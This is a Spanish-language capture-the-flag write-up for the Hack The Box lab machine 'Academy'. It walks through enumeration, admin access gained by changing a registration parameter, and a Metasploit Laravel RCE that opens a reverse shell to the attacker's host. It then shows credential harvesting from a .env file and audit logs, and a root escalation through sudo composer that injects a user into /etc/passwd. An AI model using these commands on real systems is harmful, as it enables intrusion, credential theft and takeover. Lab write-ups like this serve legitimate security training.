Welcome to the Academy writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Academy

tags: HTB Easy Linux
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeración

Nmap

$ nmap -A -Pn -p- 10.10.10.215

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-08 08:52 CET
Nmap scan report for 10.10.10.215
Host is up (0.034s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message
|_    HY000

Puerto 80

Al intentar acceder desde el navegador, me redirige automáticamente al nombre de dominio academy.htb por lo que, tenemos que añadirlo al archivo /etc/hosts.

En la página web, nos podemos registrar y acceder con el usuario que deseemos.

Directorios

$ gobuster dir -u http://academy.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50

===============================================================
/images (Status: 301)
/register.php (Status: 200)
/admin.php (Status: 200)
/index.php (Status: 200)
/login.php (Status: 200)
/config.php (Status: 200)
/home.php (Status: 302)
/server-status (Status: 403)
===============================================================

Dentro de la URL http://academy.htb/admin.php tenemos un formulario de login para la administración.

Podemos ver que en el proceso de registro, si lo interceptamos con Burp, hay un parámetro llamado rolid que tiene el valor 0. Si lo interceptamos y lo modificamos a 1, podemos tener acceso al login de administración.

Una vez autenticados, podemos ver en la última línea un subdominio nuevo "Fix issue with dev-staging-01.academy.htb". Lo añadimos al archivo hosts y accedemos a el.

dev-staging-01.academy.htb

Si nos fijamos en las variables de entorno vemos que el APP_NAME es Laravel y que tenemos el APP_KEY. Metasploit tiene un módulo RCE para esta aplicación.

Explotación

msf5 > search laravel

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  exploit/unix/http/laravel_token_unserialize_exec  2018-08-07       excellent  Yes    PHP Laravel Framework token Unserialize Remote Command Execution

msf5 > use 0
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set rhosts 10.10.10.215
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set lhost 10.10.14.35
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set lport 8787
msf5 exploit(unix/http/laravel_token_unserialize_exec) > run

[*] Started reverse TCP handler on 10.10.14.35:8787 
[*] Command shell session 1 opened (10.10.14.35:8787 -> 10.10.10.215:43470) at 2020-11-08 11:04:45 +0100

python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@academy:/var/www/html/htb-academy-dev-01/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post explotación

Enumeración

Linpeas

[+] Finding possible password variables inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/var/www/html/academy/.env:APP_NAME=Laravel
/var/www/html/academy/.env:DB_CONNECTION=mysql
/var/www/html/academy/.env:DB_DATABASE=academy
/var/www/html/academy/.env:DB_HOST=127.0.0.1
/var/www/html/academy/.env:DB_PORT=3306
/var/www/html/academy/.env:DB_USERNAME=dev

Si vemos el contenido del archivo, encontramos una contraseña.

www-data@academy:/tmp/.htbuser$ cat /var/www/html/academy/.env

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

Probando SSH con la contraseña con varios usuarios de los que hay en el sistema, encuentro que es válido para el usuario cry0l1t3

Ahora podemos ver que pertenecemos al grupo adm el cual tiene acceso de lectura al directorio /var/logs

Escala de privilegios

En la carpeta /var/log/audit si ejecutamos el siguiente comando encontramos valores hexadecimales que al pasarlos a ascii son instrucciones.

grep -nv /usr/sbin/cron /var/log/audit/audit.log* | grep cmd

El hexadecimal al pasarlo a ascii sale lo siguiente

/usr/bin/composer exec bash
/usr/bin/composer exec sh
composer exec bash -c "bash"
/usr/bin/composer exec bash -c "bash" 
/usr/bin/composer exec cp /bin/sh pwn; chmod u+s ./pwn 
sudo -K

Además, entre todas las líneas de datos hexadecimales, podemos encontrar la clave de "mrb3n" (Línea 32)

cry0l1t3@academy:/var/log/audit$ python3 -c "print(bytes.fromhex('7375206D7262336E0A').decode('utf-8'))"
su mrb3n

cry0l1t3@academy:/var/log/audit$ python3 -c "print(bytes.fromhex('6D7262336E5F41634064336D79210A').decode('utf-8'))"
mrb3n_Ac@d3my!

Tan solo tenemos que hacer su mrb3n e introducir su contraseña.

Ahora, si hacemos sudo -l podemos ver un camino para ser root.

mrb3n@academy:/var/log/audit$ sudo -l
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

Sabiendo esto, deberíamos poder ejecutar comandos como root usando composer.

mrb3n@academy:/var/www/html/academy$ sudo /usr/bin/composer exec 'echo "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash" >> /etc/passwd'
[sudo] password for mrb3n:

mrb3n@academy:/var/www/html/academy$ tail -n 1 /etc/passwd
x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash

Tenemos un usuario con privilegios root inyectado!! vamos a autenticarnos con el!

mrb3n@academy:/var/www/html/academy$ su x4v1l0k
Password: 
root@academy:/var/www/html/academy# cd /root
root@academy:~# ls
academy.txt  root.txt  snap
root@academy:~#